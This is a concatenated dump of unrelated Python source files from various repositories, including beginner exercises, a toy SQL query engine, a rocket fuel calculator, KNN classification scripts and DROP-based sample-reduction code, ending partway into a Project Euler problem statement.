b3fd4110468827f3105792599e8b36d7e39bbdda | srikanthajithy/Emerging-Tech | /Radius.py | 119 | 4.15625 | 4 | import math
pi = 3.14
r = float(input("enter the radius:"))
area = pi * r * r
print("area of the circle:", str(area))
|
2af664775ca235e34bb20e01865ac428fa861891 | snugdad/Intro_to_python | /Mentorship_rep/Day04/02_allyourbase.py | 337 | 4.03125 | 4 | #!/usr/bin/env python3
# By Elias Goodale
import sys
def ft_bin(n):
if n == 0:
return ''
else:
return ft_bin(n // 2) + str(n % 2)
def is_integer(n):
try:
int(n)
return True
except:
print('Not an Integer!')
return False
def main(argv):
if len(argv) == 2 and is_integer(argv[1]):
print(ft_bin(int(argv[1])))
main(sys.argv) |
afe268f8f733d03240c2728d4fc3036c5c8f0599 | vovo1234/pepelats | /games/tiltedtowers/draw_car.py | 1,152 | 3.9375 | 4 |
import turtle
def DrawCar(size, start_x, start_y):
# increase speed
turtle.speed(1000)
# move to starting point
turtle.penup()
turtle.goto(start_x, start_y)
# calculate scale
k = 1.*size/240
# Make wheel
turtle.color('black')
turtle.begin_fill()
turtle.left (90)
turtle.circle (k*25, 540)
turtle.end_fill()
# make car body
turtle.color('green')
turtle.begin_fill()
turtle.right(90)
turtle.forward(k*40)
turtle.right(90)
turtle.forward(k*60)
turtle.right(90)
turtle.forward(k*70)
turtle.left(90)
turtle.forward(k*70)
turtle.right(90)
turtle.forward(k*100)
turtle.right(90)
turtle.forward(k*70)
turtle.left(90)
turtle.forward(k*70)
turtle.right(90)
turtle.forward(k*60)
turtle.right(90)
turtle.forward(k*40)
turtle.end_fill()
# Make wheel 2
turtle.color('black')
turtle.begin_fill()
turtle.right(90)
turtle.circle(k*25, 540)
turtle.end_fill()
# connect wheels
turtle.right(90)
turtle.forward(k*60)
turtle.right(180)
DrawCar(50, 100, 100)
DrawCar(150, 200, 200)
|
f89c86f1b91aec2ea043088c16eae6886d7c99bf | haquey/python-sql-database | /src/squeal.py | 10,212 | 4.09375 | 4 | from reading import *
from database import *
# Below, write:
# *The cartesian_product function
# *All other functions and helper functions
# *Main code that obtains queries from the keyboard,
# processes them, and uses the below function to output csv results
# USED TO SPLICE THE WHERE CLAUSE
BEFORE_OPERATOR_INDEX = 0
AFTER_OPERATOR_INDEX = 1
# USED TO INSERT TABLE OBJECTS FOUND IN A LIST INTO A FUNCTION
FIRST_TABLE_INDEX = 0
SECOND_TABLE_INDEX = 1
# USED TO SPLICE THE QUERY INTO MEANINGFUL PARTS TO PROCESS
COLUMN_SELECTION_INDEX = 1
TABLE_NAME_SELECTION_INDEX = 3
WHERE_CLAUSE_INDEX = 5
def num_rows(table_obj):
'''(Table) -> int
Given a table object, determine the number of rows found within the table
using its dictionary representation.
REQ: Each column within the table should have the same number of rows
>>> table = Table()
>>> table.set_dict({'a': ['THIS','IS','A','TEST'],
'b': ['There','are', 'four', 'rows']})
>>> num_rows(table)
4
>>> table = Table()
>>> table.set_dict({1 : [], 2 : []})
>>> num_rows(table)
0
'''
num_rows = table_obj.num_rows()
return num_rows
def print_csv(table):
'''(Table) -> NoneType
Print a representation of table.
REQ: Table dictionary must be proper format {column_title: list of str}
REQ: All columns should have same number of rows
>>> table = Table()
>>> table.set_dict({'THIS': ['THIS','IS','A','TEST'],
'IS': ['There', 'are', 'four', 'rows'],
'A': ['There', 'are', 'four', 'rows'],
'TEST': ['IT', 'works', 'it', 'WORKS!']})
>>> print_csv(table)
THIS,TEST,A,IS
THIS,IT,There,There
IS,works,are,are
A,it,four,four
TEST,WORKS!,rows,rows
>>> table.set_dict({'THIS': [], 'WORKS': [], 'AS': [], 'WELL': []})
>>> print_csv(table)
WELL,THIS,AS,WORKS
'''
dict_rep = table.get_dict()
columns = list(dict_rep.keys())
print(','.join(columns))
rows = num_rows(table)
for i in range(rows):
cur_column = []
for column in columns:
cur_column.append(dict_rep[column][i])
print(','.join(cur_column))
def where_equals_clause(clause, table_name):
'''(str, Table) -> Table
Given a Table object and a clause countaining two column titles and
a value, return a table that is joined at the indicated columns or
specified value where they are equal.
REQ: Specified columns must exist within the table
REQ: Column titles must exist within the tables
'''
# Break up the clause into the column titles or value
constraints = clause.split('=')
before_operator = constraints[BEFORE_OPERATOR_INDEX]
after_operator = constraints[AFTER_OPERATOR_INDEX]
# If the token after the operator is a value:
if after_operator not in table_name.get_headers():
table_name.perform_where_equals_value(before_operator, after_operator)
# If the token after the operator is a column title
else:
table_name.perform_where_equals(before_operator, after_operator)
return table_name
def where_more_than_clause(clause, table_name):
'''(str, Table) -> Table
Given a Table object and a clause countaining two column titles and
a value, return a table that is joined at the indicated columns or
specified value where the first constraint is more than the second.
REQ: Specified columns must exist within the table
REQ: Column titles must exist within the tables
'''
# Break up the clause into the column titles or value
constraints = clause.split('>')
before_operator = constraints[BEFORE_OPERATOR_INDEX]
after_operator = constraints[AFTER_OPERATOR_INDEX]
# If the token after the operator is a value:
if after_operator not in table_name.get_headers():
table_name.perform_where_more_than_value(before_operator,
after_operator)
# If the token after the operator is a column title
else:
table_name.perform_where_more_than(before_operator, after_operator)
return table_name
def where_clause(table_name, where_query):
'''(Table, list of str) -> Table
Given a Table object and a where clause, interpret the where clause to
produce the appropriate corresponding table that is joined according to the
instructions of the where clause.
REQ: Where clauses must have proper syntax (column=column,column='value',
column>column,column>'value')
REQ: Column titles must exist within the tables
'''
for clause in where_query:
# Look for an '=' operator in the clause and run the appropriate task
if '=' in clause:
table_name = where_equals_clause(clause, table_name)
# Look for a '>' operator in the clause and run the appropriate task
elif '>' in clause:
table_name = where_more_than_clause(clause, table_name)
return table_name
def process_two_tables(database, table_names):
'''(Database, list of str) -> Table
Given a list containing two table names that exist within the inserted
Database object, return the cartesian product of the two tables.
REQ: Table names must correspond to existing table names in the database
REQ: List should contain at least two elements
'''
table_list = []
for name in table_names:
# Find the Table objects that correspond with the table names
table_list.append(database.db_table(name))
# Return the cartesian product of the two table objects in the list
return cartesian_product(table_list[FIRST_TABLE_INDEX],
table_list[SECOND_TABLE_INDEX])
def run_query(database_obj, str_query):
'''(Database, str) -> Table
Given a database object and a query, interpret the query to perform
the appropriate functions to produce a table corresponding to the query's
instructions.
REQ: The input query must have proper syntax
REQ: Database must be a valid database containing dictionary in
proper format {file_name : Table}
'''
# Break up the input query into its meaningful tokens
input_query = str_query.split(' ', 5)
column_names = input_query[COLUMN_SELECTION_INDEX].split(',')
table_names = input_query[TABLE_NAME_SELECTION_INDEX].split(',')
# Perform the appropraite functions depending on the number of tables
if len(table_names) == 1:
res_table = database_obj.db_table(table_names[FIRST_TABLE_INDEX])
elif len(table_names) == 2:
res_table = process_two_tables(database_obj, table_names)
elif len(table_names) > 2:
table_list = []
for name in table_names:
table_list.append(database_obj.db_table(name))
res_table = cartesian_product(table_list[FIRST_TABLE_INDEX],
table_list[SECOND_TABLE_INDEX])
for i in range(2, len(table_list) - 1):
res_table = cartesion_product(res_table, table_list[i])
# Interpret the where clause of the query if it exists
if len(input_query) > 4:
where_query = input_query[WHERE_CLAUSE_INDEX].split(',')
res_table = where_clause(res_table, where_query)
# Interpret the column selection clause of the query if it exists
if column_names != ['*']:
res_table.select_columns(column_names)
return res_table
def cartesian_product(table1, table2):
'''(Table, Table) -> Table
Given two table objects, produce a new table object that is the
cartesian product of the two that were inserted.
REQ: Both tables are properly formatted
REQ: Both tables have contents
>>> new_table = Table()
>>> new_table2 = Table()
>>> new_table.set_dict({'8': ['a', 'b', 'c'], '9': ['z', 'x', 'y'],
'10': ['%', '&', '!']})
>>> new_table2.set_dict({'CSC': ['Py', 'th', 'on'],
'A08': ['y', 'e', 's']})
>>> res_table = cartesian_product(new_table, new_table2)
>>> res_table.get_dict()
{'CSC': ['Py', 'th', 'on', 'Py', 'th', 'on', 'Py', 'th', 'on'],
'A08': ['y', 'e', 's', 'y', 'e', 's', 'y', 'e', 's'],
'10': ['%', '%', '%', '&', '&', '&', '!', '!', '!'],
'9': ['z', 'z', 'z', 'x', 'x', 'x', 'y', 'y', 'y'],
'8': ['a', 'a', 'a', 'b', 'b', 'b', 'c', 'c', 'c']}
>>> new_table.set_dict({'o': ['Y', 'a', 'Y']})
>>> new_table2.set_dict({'a': ['HE', 'LL', 'o'], 'to': ['Y', 'O', 'U']})
>>> res_table = cartesian_product(new_table, new_table2)
>>> res_table.get_dict()
{'a': ['HE', 'LL', 'o', 'HE', 'LL', 'o', 'HE', 'LL', 'o'],
'o': ['Y', 'Y', 'Y', 'a', 'a', 'a', 'Y', 'Y', 'Y'],
'to': ['Y', 'O', 'U', 'Y', 'O', 'U', 'Y', 'O', 'U']}
'''
new_table = Table()
# Get the length of the tables/number of rows
len_table1 = table1.num_rows()
len_table2 = table2.num_rows()
# Multiply the first table's individual elements by length of the second
for header in table1.table_dict:
rows = []
for i in range(len_table1):
rows += [table1.table_dict[header][i]]*len_table2
# Input the information into the new table object
new_table.set_headers_and_contents(header, rows)
# Multiply the the second table by the length of the first
for header in table2.table_dict:
rows2 = table2.table_dict[header]*len_table1
# Input the information into the new table object
new_table.set_headers_and_contents(header, rows2)
return new_table
if(__name__ == "__main__"):
query = input("Enter a SQuEaL query, or a blank line to exit:")
while query != '':
database = read_database()
process_database_and_query = run_query(database, query)
print_csv(process_database_and_query)
query = input("Enter a SQuEaL query, or a blank line to exit:")
|
0a9cddc6028c0fed3cead489606187f2587343d9 | ahmedhossammontasser/nasa | /nasa.py | 1,871 | 4.28125 | 4 | # python 3.8
import math
def get_fuel(mass , gravity, mult_value, sub_value):
'''
recursive function that calucalte fuel_needed for launch or land based on equation with gravity and mass (spaceship weigh or fuel_weigh), mult_value and sub_value as parameters
:param mass: int
gravity: float
mult_value: float
sub_value: int
:return: int fuel need for lauch a spaceship
'''
fuel_needed = math.floor( (mass * gravity * mult_value) - sub_value)
if fuel_needed < 0:
return 0
else :
return fuel_needed + get_fuel( fuel_needed , gravity, mult_value, sub_value)
def get_weight_of_fuel(spaceship_weight, journey_list) :
'''
function calucalte total fuel needed for journey of spaceship with spaceship_weight and journey_list as parameters
:param spaceship_weight: int
journey_list: list of tuple (launch gravity, landing gravity)
:return: int total fuel needed for journey of spaceship
'''
fuel_weight_needed = 0
for j_index in range(len(journey_list), 0, -1):
landing_fuel_needed = get_fuel( spaceship_weight+fuel_weight_needed, journey_list[j_index-1][1] , 0.033, 42)
fuel_weight_needed += landing_fuel_needed
launch_fuel_needed = get_fuel( spaceship_weight+fuel_weight_needed, journey_list[j_index-1][0] , 0.042, 33)
fuel_weight_needed += launch_fuel_needed
return fuel_weight_needed
print( "Weight of fuel needed for Apollo 11: ", get_weight_of_fuel( 28801, [(9.807, 1.62), (1.62, 9.807)]) ) # 51898
print( "Weight of fuel needed for Mission on Mars:", get_weight_of_fuel( 14606, [(9.807, 3.711), (3.711, 9.807)]) ) # 33388
print( "Weight of fuel needed for Passenger ship: Earth to Moon To MarsTo Earth:", get_weight_of_fuel( 75432 , [(9.807, 1.62), (1.62, 3.711), (3.711, 9.807)]) ) # 212161
|
5f29085f7fd0315c7fbfddd823c0f5c21b5b135a | samtaitai/py4e | /exercise0904.py | 683 | 3.828125 | 4 | #file handler
file = input('Enter a file name: ')
handle = open(file)
lst = list()
counts = dict()
#find target line
for line in handle:
if line.startswith('From: ') != True:
continue
#collect email part and count
else:
piece = line.split()
email = piece[1]
lst.append(email)
#make histogram
for email in lst:
#email is key, result of method 'get' is value
counts[email] = counts.get(email, 0) + 1
#None means no value
bigperson = None
msgcount = None
#max loop in word counter
for key, value in counts.items():
if msgcount is None or value > msgcount:
bigperson = key
msgcount = value
print(bigperson, msgcount)
|
10694681fc1cbca96ad21c5705d77481f8beae80 | Alex-zhai/learn_practise | /leetcode/25.py | 757 | 3.578125 | 4 | def sum_m():
n_m = input()
n, m = n_m.split()
n = int(n)
m = int(m)
if n <= 0 or m <= 0:
return
arr = range(1, n + 1)
result = list()
path = list()
pos = 0
recursion(arr, pos, m, path, result)
for i in result[:-1]:
print(' '.join([str(num) for num in i]))
print(' '.join(str(num) for num in result[-1]),)
def recursion(arr, pos, m, path, result):
if pos >= len(arr):
return
count = 1
for i in range(pos, len(arr)):
path.append(arr[i])
if sum(path) == m:
result.append(path[:])
recursion(arr, pos + count, m, path, result)
path.pop()
count += 1
if __name__ == "__main__":
sum_m()
|
74712b9d0e4e7f798d1a8b96b06373b2f977d3b0 | SherMM/programming-interview-questions | /epi/arrays/buy_sell_stock_once.py | 1,143 | 3.765625 | 4 | import sys
import random
def find_max_profit_bf(stocks):
"""
docstring
"""
best_buy, best_sell = 0, 0
max_profit = 0
for i in range(len(stocks)):
buy = stocks[i]
for j in range(i, len(stocks)):
sell = stocks[j]
profit = sell - buy
if profit > max_profit:
max_profit = profit
best_buy = buy
best_sell = sell
return best_buy, best_sell
def find_max_profit(stocks):
"""
docstring
"""
buy, sell = stocks[0], stocks[0]
min_price = float("inf")
max_profit = 0
for stock in stocks:
profit = max(max_profit, stock - min_price)
if profit > max_profit:
max_profit = profit
buy, sell = min_price, stock
min_price = min(min_price, stock)
return buy, sell
if __name__ == "__main__":
n = int(sys.argv[1])
stocks = []
for _ in range(n):
stocks.append(random.randrange(100, 501))
#stocks = [310, 315, 275, 295, 260, 270, 290, 230, 255, 250]
buy, sell = find_max_profit(stocks)
print(stocks)
print(buy, sell) |
0f511b18f43bda9d5703a6cec0a1ff7a7044abe0 | massinat/ML | /part2.py | 2,007 | 3.875 | 4 | """
Classification related to part 2.
KNN classification with variable K and euclidean distance. Votes are distance weighted.
@Author: Massimiliano Natale
"""
from knn import KNN
from resultHelper import ResultHelper
"""
Trigger the classification.
Create the output file and the chart to visualize the result.
"""
if __name__=="__main__":
knn = KNN("data/classification/trainingData.csv", "data/classification/testData.csv")
#K=10, n=2
classificationData = knn.buildClassificationData(lambda x: knn.classifyWithDistanceWeight(x[:-1], knn._trainingData[:, :-1], 10, 2))
# Save partial result to a file and draw the charts
resultHelper = ResultHelper("part2.output.txt")
resultHelper.write(classificationData)
resultHelper.draw("KNN classification [weighted-distance] with K=10 and N=2")
#K=20, n=2
classificationData = knn.buildClassificationData(lambda x: knn.classifyWithDistanceWeight(x[:-1], knn._trainingData[:, :-1], 20, 2))
# Save partial result to a file and draw the charts
resultHelper = ResultHelper("part2.output.txt")
resultHelper.write(classificationData)
resultHelper.draw("KNN classification [weighted-distance] with K=20 and N=2")
#K=20, n=4
classificationData = knn.buildClassificationData(lambda x: knn.classifyWithDistanceWeight(x[:-1], knn._trainingData[:, :-1], 20, 4))
# Save partial result to a file and draw the charts
resultHelper = ResultHelper("part2.output.txt")
resultHelper.write(classificationData)
resultHelper.draw("KNN classification [weighted-distance] with K=20 and N=4")
#K=30, n=2
classificationData = knn.buildClassificationData(lambda x: knn.classifyWithDistanceWeight(x[:-1], knn._trainingData[:, :-1], 30, 2))
# Save partial result to a file and draw the charts
resultHelper = ResultHelper("part2.output.txt")
resultHelper.write(classificationData)
resultHelper.draw("KNN classification [weighted-distance] with K=30 and N=2") |
3649b8859547eb3e4112d11fdb84825062a1254e | pillmuncher/yogic | /src/yogic/functional.py | 1,503 | 3.796875 | 4 | # Copyright (c) 2021 Mick Krippendorf <m.krippendorf@freenet.de>
'''
Provides functional programming utilities for Python, including functions for
flipping argument order and performing a right fold operation on iterables.
'''
from collections.abc import Iterable
from functools import wraps, reduce as foldl
from typing import Callable, TypeVar
Value = TypeVar('Value')
Join = Callable[[Value, Value], Value]
def flip(f:Callable[..., Value]) -> Callable[..., Value]:
'''
Decorator function to flip the argument order of a given function.
Parameters:
f (Callable[..., Value]): The function to be flipped.
Returns:
Callable[..., Value]: A new function that takes the reversed arguments
and calls the original function.
'''
@wraps(f)
def flipped(*args):
return f(*reversed(args))
return flipped
def foldr(f:Join, elems:Iterable[Value], end:Value) -> Value:
'''
Performs a right fold operation on the given iterable.
The function applies the binary operator `f` cumulatively from right to
left to the elements of the iterable `elems`, reducing it to a single value.
Parameters:
f (Join): The binary operator function to be applied during folding.
elems (Iterable[Value]): The iterable to be folded from right to left.
end (Value): The initial value for the fold operation.
Returns:
Value: The final result of the right fold operation.
'''
return foldl(flip(f), reversed(tuple(elems)), end)
|
234ab716279c2c2de5f5fef056028f1917214ecb | AshishDatagrokr/Python_Assignment | /ques7.py | 332 | 4.28125 | 4 | """ extracting company name """
def extract_name(name):
""" will convert name into list """
information = name
information = information.split('@')
company_name = information[1]
company_name = company_name.split('.')
print(company_name[0])
EMAIL = input("Enter EmailAddress")
extract_name(EMAIL)
|
02bf6f23224514a497d6984948b4ade9e9c704bf | DianaBereniceSR/07PYTHON | /02SetenciasDeControl.py | 146 | 4.03125 | 4 | #SENTENCIAS DE CONTROL
#1) IF
a=232
b=87
c=9
if a<b:
print("a es menor que b")
elif:c<b:
print("c es menor que b")
else:
print("b es menor") |
8f90b11a4f4685f59d9ace809170f343ebad7c4d | Sheersha-jain/Data-Structures | /oops/class.py | 535 | 3.625 | 4 | class Test:
"""test class"""
i = 23
def func(self):
j=0
print("hello")
Test.func(Test)
x =Test()
print(Test())
print(x)
print(Test)
print(Test())
class Practice:
"""practice class"""
hello ='hey'
def func(self):
print("hey hi")
print(Practice.__doc__)
print(Practice.hello)
print(Practice)
Practice.func(Practice)
print(type(Practice.func(Practice)))
print("value",Practice.func(Practice))
print("here"), Practice.func(Practice)
print(Practice.func)
ob = Practice()
print(ob.func) |
85413b2f1af960618421d8d4770658b3238ea838 | bghojogh/Curvature-Anomaly-Detection | /CAD/numerosity_reduction/sampleReduction_DROP.py | 13,646 | 3.640625 | 4 | import numpy as np
from sklearn.neighbors import NearestNeighbors as KNN # http://scikit-learn.org/stable/modules/generated/sklearn.neighbors.KNeighborsClassifier.html
# Sample Reduction with DROP:
# Paper: Reduction Techniques for Instance-Based Learning Algorithms
class SR_Drop:
def __init__(self, X, Y, n_neighbors):
# X: rows are features and columns are samples
# Y: rows are features and columns are samples
self.X = X
self.Y = Y
self.n_dimensions = X.shape[0]
self.n_samples = X.shape[1]
self.n_neighbors = n_neighbors
def Drop1_prototype_selection(self):
last_index_removal_in_X = None
# --- find k-nearest neighbor graph (distance matrix):
knn = KNN(n_neighbors=self.n_samples, algorithm='kd_tree')
knn.fit(X=(self.X).T)
distance_matrix = knn.kneighbors_graph(X=(self.X).T, n_neighbors=self.n_samples, mode='distance')
distance_matrix = distance_matrix.toarray()
kept_prototypes_indices = np.ones((1, self.n_samples))
# process every point (whether to remove it or not):
for sample_index in range(self.n_samples):
connectivity_matrix = np.zeros((self.n_samples, self.n_samples))
# --- remove the removed sample from KNN graph:
if last_index_removal_in_X is not None:
distance_matrix[:, last_index_removal_in_X] = np.inf # set to inf so when sorting, it will be last (not neighbor to any point)
distance_matrix[last_index_removal_in_X, :] = np.inf # set to inf so when sorting, it will be last (not neighbor to any point)
# --- find (update again) k-nearest neighbors of every sample:
for sample_index_2 in range(self.n_samples):
distances_from_neighbors = distance_matrix[sample_index_2, :]
sorted_neighbors_by_distance = distances_from_neighbors.argsort() # ascending order
n_neighbors = min(self.n_neighbors, np.sum(distances_from_neighbors != np.inf)) # in last iterations, the number of left samples becomes less than self.n_neighbors
for neighbor_index in range(n_neighbors):
index_of_neighbor = sorted_neighbors_by_distance[neighbor_index]
connectivity_matrix[sample_index_2, index_of_neighbor] = 1
# --- replace zeros with nan:
connectivity_matrix[connectivity_matrix == 0] = np.nan
# --- replace ones (connectivities) with labels:
labels = self.Y.reshape((1, -1))
repeated_labels_in_rows = np.tile(labels, (self.n_samples, 1))
connectivity_matrix_having_labels = np.multiply(connectivity_matrix, repeated_labels_in_rows)
# --- identifying neighbors of sample (using connectivity matrix): --> identifying points which have this sample as their associate
indices_of_neighbors_of_that_sample = [i for i in range(self.n_samples) if ~(np.isnan(connectivity_matrix_having_labels[i, sample_index]))]
# --- with the sample:
classified_correctly_withSample = 0
for neighbor_sample_index in indices_of_neighbors_of_that_sample:
label_of_neighbor_sample = self.Y[:, neighbor_sample_index]
n_similar_samples = np.sum(connectivity_matrix_having_labels[neighbor_sample_index, :] == label_of_neighbor_sample) - 1 # we exclude the sample itself from neighbors
n_dissimilar_samples = np.sum((connectivity_matrix_having_labels[neighbor_sample_index, :] != label_of_neighbor_sample) & ~(np.isnan(connectivity_matrix_having_labels[neighbor_sample_index, :])))
if n_similar_samples > n_dissimilar_samples:
classified_correctly_withSample = classified_correctly_withSample + 1
# --- without the sample:
# connectivity_matrix_without_sample = connectivity_matrix_having_labels.copy()
connectivity_matrix_without_sample = connectivity_matrix_having_labels
connectivity_matrix_without_sample[:, sample_index] = np.nan
classified_correctly_withoutSample = 0
for neighbor_sample_index in indices_of_neighbors_of_that_sample:
label_of_neighbor_sample = self.Y[:, neighbor_sample_index]
n_similar_samples = np.sum(connectivity_matrix_without_sample[neighbor_sample_index, :] == label_of_neighbor_sample) - 1 # we exclude the sample itself from neighbors
n_dissimilar_samples = np.sum((connectivity_matrix_without_sample[neighbor_sample_index, :] != label_of_neighbor_sample) & ~(np.isnan(connectivity_matrix_having_labels[neighbor_sample_index, :])))
if n_similar_samples > n_dissimilar_samples:
classified_correctly_withoutSample = classified_correctly_withoutSample + 1
# --- check whether to remove sample or not:
if classified_correctly_withoutSample >= classified_correctly_withSample:
# should be removed
last_index_removal_in_X = sample_index
kept_prototypes_indices[:, sample_index] = 0
return kept_prototypes_indices
def Drop2_prototype_selection(self):
last_index_removal_in_X = None
# --- find k-nearest neighbor graph (distance matrix):
knn = KNN(n_neighbors=self.n_samples, algorithm='kd_tree')
knn.fit(X=(self.X).T)
distance_matrix = knn.kneighbors_graph(X=(self.X).T, n_neighbors=self.n_samples, mode='distance')
distance_matrix = distance_matrix.toarray()
# --- find distance of nearest enemy to every point:
distance_matrix_copy = distance_matrix.copy()
labels = self.Y.reshape((1, -1))
for sample_index in range(self.n_samples):
label = labels.ravel()[sample_index]
which_points_are_sameClass = (labels.ravel() == label)
distance_matrix_copy[sample_index, which_points_are_sameClass] = np.nan #--> make distances of friends nan so enemies remain
distance_to_nearest_enemy = np.zeros((self.n_samples, 1))
for sample_index in range(self.n_samples):
enemy_distances_for_the_sample = distance_matrix_copy[sample_index, :]
sorted_distances = np.sort(enemy_distances_for_the_sample) # --> sort ascending #--> the nan ones will be at the end of sorted list
distance_to_nearest_enemy[sample_index, 0] = sorted_distances[0]
distance_to_nearest_enemy = distance_to_nearest_enemy.ravel()
order_of_indices = (-distance_to_nearest_enemy).argsort() # --> argsort descending (furthest nearest neighbor to closest nearest neighbor)
# process every point (whether to remove it or not):
kept_prototypes_indices = np.ones((1, self.n_samples))
for sample_index in order_of_indices:
connectivity_matrix = np.zeros((self.n_samples, self.n_samples))
# --- remove the removed sample from KNN graph:
if last_index_removal_in_X is not None:
# in DROP2 this line is commented --> #distance_matrix[:, last_index_removal_in_X] = np.inf # set to inf so when sorting, it will be last (not neighbor to any point)
distance_matrix[last_index_removal_in_X, :] = np.inf # set to inf so when sorting, it will be last (not neighbor to any point)
# --- find (update again) k-nearest neighbors of every sample:
for sample_index_2 in range(self.n_samples):
distances_from_neighbors = distance_matrix[sample_index_2, :]
sorted_neighbors_by_distance = distances_from_neighbors.argsort() # ascending order
n_neighbors = min(self.n_neighbors, np.sum(distances_from_neighbors != np.inf)) # in last iterations, the number of left samples becomes less than self.n_neighbors
for neighbor_index in range(n_neighbors):
index_of_neighbor = sorted_neighbors_by_distance[neighbor_index]
connectivity_matrix[sample_index_2, index_of_neighbor] = 1
# --- replace zeros with nan:
connectivity_matrix[connectivity_matrix == 0] = np.nan
# --- replace ones (connectivities) with labels:
labels = self.Y.reshape((1, -1))
repeated_labels_in_rows = np.tile(labels, (self.n_samples, 1))
connectivity_matrix_having_labels = np.multiply(connectivity_matrix, repeated_labels_in_rows)
# --- identifying neighbors of sample (using connectivity matrix): --> identifying points which have this sample as their associate
indices_of_neighbors_of_that_sample = [i for i in range(self.n_samples) if ~(np.isnan(connectivity_matrix_having_labels[i, sample_index]))]
# --- with the sample:
classified_correctly_withSample = 0
for neighbor_sample_index in indices_of_neighbors_of_that_sample:
label_of_neighbor_sample = self.Y[:, neighbor_sample_index]
n_similar_samples = np.sum(connectivity_matrix_having_labels[neighbor_sample_index, :] == label_of_neighbor_sample) - 1 # we exclude the sample itself from neighbors
n_dissimilar_samples = np.sum((connectivity_matrix_having_labels[neighbor_sample_index, :] != label_of_neighbor_sample) & ~(np.isnan(connectivity_matrix_having_labels[neighbor_sample_index, :])))
if n_similar_samples > n_dissimilar_samples:
classified_correctly_withSample = classified_correctly_withSample + 1
# --- without the sample:
# connectivity_matrix_without_sample = connectivity_matrix_having_labels.copy()
connectivity_matrix_without_sample = connectivity_matrix_having_labels
connectivity_matrix_without_sample[:, sample_index] = np.nan
classified_correctly_withoutSample = 0
for neighbor_sample_index in indices_of_neighbors_of_that_sample:
label_of_neighbor_sample = self.Y[:, neighbor_sample_index]
n_similar_samples = np.sum(connectivity_matrix_without_sample[neighbor_sample_index, :] == label_of_neighbor_sample) - 1 # we exclude the sample itself from neighbors
n_dissimilar_samples = np.sum((connectivity_matrix_without_sample[neighbor_sample_index, :] != label_of_neighbor_sample) & ~(np.isnan(connectivity_matrix_having_labels[neighbor_sample_index, :])))
if n_similar_samples > n_dissimilar_samples:
classified_correctly_withoutSample = classified_correctly_withoutSample + 1
# --- check whether to remove sample or not:
if classified_correctly_withoutSample >= classified_correctly_withSample:
# should be removed
last_index_removal_in_X = sample_index
kept_prototypes_indices[:, sample_index] = 0
return kept_prototypes_indices
def Drop3_prototype_selection(self):
n_samples_backup = self.X.shape[1]
# --- ENN filter:
kept_prototypes_indices_1 = self.ENN_prototype_selection()
kept_prototypes_indices_1 = kept_prototypes_indices_1.ravel().astype(int)
self.X = self.X[:, kept_prototypes_indices_1 == 1]
self.Y = self.Y[:, kept_prototypes_indices_1 == 1]
self.n_samples = self.X.shape[1]
# --- DROP2:
kept_prototypes_indices_2 = self.Drop2_prototype_selection()
# --- convert kept_prototypes_indices_2 to kept_prototypes_indices:
kept_prototypes_indices_1 = kept_prototypes_indices_1.reshape((1, -1))
kept_prototypes_indices = np.zeros((1, n_samples_backup))
pivot = -1
for sample_index in range(n_samples_backup):
if kept_prototypes_indices_1[:, sample_index] == 1:
pivot = pivot + 1
if kept_prototypes_indices_2[:, pivot] == 1:
kept_prototypes_indices[:, sample_index] = 1
return kept_prototypes_indices
def ENN_prototype_selection(self):
# --- find k-nearest neighbor graph:
n_neighbors = self.n_neighbors
knn = KNN(n_neighbors=n_neighbors, algorithm='kd_tree')
knn.fit(X=(self.X).T)
connectivity_matrix = knn.kneighbors_graph(X=(self.X).T, n_neighbors=n_neighbors, mode='connectivity')
connectivity_matrix = connectivity_matrix.toarray()
# --- replace zeros with nan:
connectivity_matrix[connectivity_matrix == 0] = np.nan
# --- replace ones (connectivities) with labels:
labels = (self.Y).reshape((1, -1))
repeated_labels_in_rows = np.tile(labels, (self.n_samples, 1))
connectivity_matrix_having_labels = np.multiply(connectivity_matrix, repeated_labels_in_rows)
# --- find scores of samples:
kept_prototypes_indices = np.ones((1, self.n_samples))
for sample_index in range(self.n_samples):
label_of_sample = self.Y[:, sample_index]
n_friends = np.sum(connectivity_matrix_having_labels[sample_index, :] == label_of_sample) - 1 # we exclude the sample itself from neighbors
n_enemies = np.sum((connectivity_matrix_having_labels[sample_index, :] != label_of_sample) & ~(np.isnan(connectivity_matrix_having_labels[sample_index, :])))
if n_enemies >= n_friends:
kept_prototypes_indices[:, sample_index] = 0
return kept_prototypes_indices |
0aa1f7093254f63879020e7df6b8ef892879cd64 | Hecvi/Tasks_on_python | /task12.py | 232 | 3.734375 | 4 | hours1 = int(input())
min1 = int(input())
sec1 = int(input())
hours2 = int(input())
min2 = int(input())
sec2 = int(input())
clock1 = hours1 * 3600 + min1 * 60 + sec1
clock2 = hours2 * 3600 + min2 * 60 + sec2
print(clock2 - clock1)
|
6a19453cd08176b474461fbe295cc2e29505a0cd | taku-yaponchik/tasks4 | /task4.1.py | 728 | 4.125 | 4 | def season(month):
#если меньше 3, то будет зима. month ровняю к 12. значит меньще 3(12,1,2)
if month <=2 and month>=1 or month==12:
return "Winter"
#дою альтернативное условия если меньше или равно 5ти
elif month <=5 and month>=3:
return "Spring"
#если меньше или равно 8
elif month <=8 and month>=6:
return "Summer"
#если меньше или равно 11
elif month <=11 and month>=9:
return "Autumn"
else:
return "Error"
month=int(input("Enter month number: "))
num_month=season(month)
print("Time year -",num_month)
|
f759561498d21e9f2492d381c20f2b78b53cee81 | peguin40/cpy5p4 | /q4_print_reverse.py | 337 | 3.78125 | 4 | #q4_print_reverse.py
# reverses an integer
def reverse_int(n):
if int(n)<10:
return str(n)
else:
return str(n%10)+reverse_int(n//10)
# get inputs
while True:
try:
n = int(input("Please enter an integer: "))
break
except ValueError as e:
print(e)
# main
print(reverse_int(n))
|
0c5d618176004517a11ee214e01b61348c0a2a0e | tharunnayak14/100-Days-of-Code-Python | /Day-4/coin_toss.py | 100 | 3.65625 | 4 | import random
toss = random.randint(0, 1)
if toss == 0:
print("Heads")
else:
print("Tails") |
8a12b3f829636c78873d0280d218ae0ae103ebdb | julika-77/kpk2016 | /numbers/digits.py | 295 | 3.8125 | 4 | x = int(input())
n = 0
s = 0
p = 1
while x:
digit = x%10
n+=1
s+=digit
p*=digit
x//=10
print('количество цифр:',n)
print('сумма цифр:',s)
print('произведение цифр:',p)
print('среднее арифметическое цифр:',s/n) |
ee5d1b68e9c322311080537e0362e7b1db05624c | AndrewZhaoLuo/Practice | /Euler/Problem88-.py | 1,608 | 3.515625 | 4 | # -*- coding: utf-8 -*-
'''
A natural number, N, that can be written as the sum and product of a given set of at least
two natural numbers,{a1, a2, ... , ak} is called a product-sum
number: N = a1 + a2 + ... + ak = a1 × a2 × ... × ak.
